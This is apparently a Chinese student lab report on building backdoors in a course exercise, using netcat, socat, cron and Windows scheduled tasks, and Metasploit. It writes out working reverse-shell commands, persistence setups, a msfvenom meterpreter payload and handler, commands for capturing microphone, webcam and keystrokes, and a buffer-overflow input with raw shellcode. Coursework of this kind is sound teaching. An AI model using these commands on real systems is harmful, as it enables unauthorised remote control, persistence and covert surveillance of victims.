Exp2-后门原理与实践
实验基础
1 基础知识
后门的概念
后门就是不经过正常认证流程而访问系统的通道。后门可能出现在编译器中、操作系统中,最常见的是应用程序中的后门,还可能是潜伏于操作系统中或伪装成特定应用的专用后门程序。
常用后门工具
1.NC和Netcat
底层工具,进行基本的TCP、UDP数据收发,常常被与其他工具结合使用,起到后门的作用。
在Linux系统中一般自带netcat,使用man nc命令可以查看使用帮助
在Windows系统中,需要下载ncat.rar,解压后可使用
2.SoCat
相当于Netcat++,一个超级Netcat工具。
在Windows下可以下载socat.rar,使用README作为参考。
任何代理、转发等功能都可以用该工具实现。
3.Meterpreter
一个用来生成后门程序的程序。
它包含着后门的基本功能(基本的连接、执行指令)
- 扩展功能(如搜集用户信息、安装服务等功能)
- 编码模式
- 运行平台
- 运行参数
它把后门的内容全部做成零件或可调整的参数,按需组合使用形成需要的可执行文件。
常见的Meterpreter
程序有
- intersect
- Metaspolit的msfvenom指令
- Veil-evasion
本次实验我们使用msfvenom指令生成后门可执行文件Meterpreter.
2 内容回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
(2)例举你知道的后门如何启动起来(win及linux)的方式?
(3)Meterpreter有哪些给你映像深刻的功能?
(4)如何发现自己有系统有没有被安装后门?
实验内容
1 实验准备
靶机:Kali Linux Debian 10
sudo ifconfig
查询IP地址:192.168.87.129
主机:Windows 11
ipconfig
查询IP地址:192.168.1.105
检查主机靶机之间能够相互ping通吗?可以,则继续进行实验
2 使用netcat获取主机操作Shell,cron启动
关闭主机防火墙,安装ncat命令
2.1 windows获取linux的shell
查看windows的ip地址ifconfig
在主机cmd中ncat文件内输入ncat.exe -l -p 1329
在kali虚拟机中输入nc 192.168.1.105 1329 -e /bin/sh
进行反向连接
在Windows下货的一个Linux shell,可以运行任何命令,如pwd
输入ls没有内容是因为在kali的ex2文件中还没有内容
更换文件夹尝试
2.2 Linux获取Windows的shell
查看kali的IP地址192.168.87.129
linux运行监听指令nc -l -p 1329
Windows反弹连接Linux输入.\ncat.exe -e cmd.exe 192.168.87.129 1329
Linux下看到Windows的命令提示
2.3 在虚拟机中启动cron并在主机监听
crontab命令选项:
-u指定一个用户
-l列出某个用户的任务计划
-r删除某个用户的任务(不添加用户即删除所有的任务)
-e编辑某个用户的任务
cron文件语法:
分 小时 日 月 星期 命令
0-59 0-23 1-31 1-12 0-6 command
(取值范围,0表示周日一般一行对应一个任务)
Minute Hour Day Month Dayofweek command
分钟 小时 天 月 天每星期 命令
先在虚拟机上用crontab -e
指令编辑一条定时任务
(crontab指令增加一条定时任务,-e表示编辑,输入2表示选择vim编辑器)
将00 * * * * /bin/netcat 192.168.1.100 1329 -e /bin/sh
写入
在cmd中监听2211端口,等待kali机中定时反向连接的启动
ncat.exe -l -p 1329等待任务启动后,cmd成功获得Linux shell,运行ls
3 使用socat获取主机操作Shell, 任务计划启动
2.1 windows获取linux的shell
man socat
查看socat使用说明
kali开放1313端口socat tcp-listen:1329 system:bash,pty,stderr
windows连接kali虚拟机,ip地址为linux的地址.\socat.exe - tcp:192.168.87.129:1329
。成功获取终端并用命令行验证。
2.2 linux获取windows的shell
windows开放1313端口.\socat.exe tcp-listen:1329 exec:cmd,pty,stderr
linux连接Windows获取终端socat - tcp:172.20.10.3:1313
,并验证
2.3 windows下任务计划启动
在windows中按win+R
,再输入compmgmt.msc
打开计算机管理进行操作
在系统工具中的任务计划程序中创建任务
设置触发器
新建操作,将操作设置为启动程序socat.exe,并添加参数tcp-listen:1329 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe绑定到端口1329,同时把cmd.exe的stderr重定向
设置好后锁定工作台。解锁后直接弹出窗口
在linux中输入命令socat - tcp:192.168.1.100:1329
,成功获取windows的shell并验证。
4 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
在linux上生成后门可执行程序20191313_backdoor.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.112.128 LPORT=1313 -f exe > 20191313_backdoor.exe
参数说明:
-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
-e 使用的编码器,用于对shellcode变形,为了免杀。
-i 编码器的迭代次数。如上即使用该编码器编码5次。
-b badchar是payload中需要去除的字符。
LHOST 是反弹回连的IP(这里是kali的ip)
LPORT 是回连的端口
-f 生成文件的类型
> 输出到哪个文件
在windows上打开监听.\ncat.exe -l 1329 > 20201329_backdoor.exe
在linux上将生成的20191313_backdoor.exe后门程序传过去nc 192.168.1.100 1329 < 20201329_backdoor.exe
传送成功
在linux上使用指令进入msf控制台msfconsole
对msf控制台进行配置,依次输入以下命令
use exploit/multi/handler #使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp #使用和生成后门程序时相同的payload
set LHOST 192.168.112.128 #kali的ip,和生成后门程序时指定ip相同
set LPORT 1313
exploit ##进行触发
windows下进行操作,打开后门可执行文件(可以用管理员身份运行),获取shell终端,使用dir验证,显示成功
5 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
获取目标主机音频record_mic
获取目标主机摄像头webcam_snap
获取击键记录
keyscan_start//开始记录
keyscan_dump//读取
截取主机屏幕screenshot
6 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
使用msfvenom生成shellcodemsfvenom -p linux/x86/shell/reverse_nonx_tcp LHOST=192.168.87.129 LPORT=1329 -f c
进入MSF控制台,进行监听
use exploit/multi/handler #使用监听模块,设置payload
set payload linux/x86/shell/reverse_nonx_tcp #使用和生成后门程序时相同的payload
set LHOST 192.168.112.128 #kali的ip,和生成后门程序时指定ip相同
set LPORT 1313
exploit ##进行触发
用如下代码生成input
perl -e 'print "A" x 32;print "\x10\xd2\xff\xff";print "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b\x68\xc0\xa8\x57\x81\x66\x68\x05\x31\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1 "'> input
在另一终端中将运行pwn20191313执行(cat input;cat) | ./pwn20191313
,执行前需对堆栈进行设置。
execstack -s pwn //设置堆栈可执行
execstack -q pwn //查询文件的堆栈是否可执行
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
(按照实验一步骤:网络对抗实验1 逆向及Bof基础实践 - 少管我 - 博客园 (cnblogs.com))
(实验指导书:ExpGuides/0x11_MAL_逆向与Bof基础.md · wildlinux/NetSec - Gitee.com)
可看到msf中获取权限,成功获得shell并验证
问题与解决
1.主机与靶机之间不能连通,无法进行获取shell
解决:根据网上链接(主机ping不通虚拟机的解决办法有哪些? - 新网数码 (xinnet.com))更改虚拟机网络设置可以正常连通
2.linux获得win shell无法连通,还没有解决
关闭kali防火墙设置((59条消息) Linux kali开启端口、关闭防火墙方法_服务猿的博客-CSDN博客)但是好像仍然显示积极拒绝,于是决定重新装一个kali系统。